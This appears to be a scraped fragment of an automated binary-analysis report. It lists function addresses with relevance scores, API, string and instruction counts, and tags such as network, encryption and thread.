sleepstringCOMMON

Function 009A455C Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 116
stringCOMMONLIBRARYCODE

Function 0099D780 Relevance: 10.9, APIs: 7, Instructions: 395
memoryfileCOMMONLIBRARYCODE

Function 00991184 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39
encryptionCOMMONLIBRARYCODE

Function 00401630 Relevance: 6.0, APIs: 4, Instructions: 50
pipefileCOMMON

Function 004017F8 Relevance: 22.8, APIs: 4, Strings: 9, Instructions: 54
threadCOMMON

Function 0099CA74 Relevance: 10.8, APIs: 6, Strings: 1, Instructions: 268
COMMONLIBRARYCODE

Function 000D0128 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 87
memoryfilenetworkCOMMON

Function 000D00D2 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42
librarynetworkCOMMON

Function 0099EC3C Relevance: 4.6, APIs: 3, Instructions: 66
networkCOMMONLIBRARYCODE

Function 00401595 Relevance: 4.5, APIs: 3, Instructions: 47
memorythreadCOMMON

Function 00401704 Relevance: 4.5, APIs: 3, Instructions: 45
fileCOMMON

Function 000D0109 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 64
networkCOMMON

Function 000D02EB Relevance: 3.1, APIs: 2, Instructions: 67
memoryfilenetworkCOMMON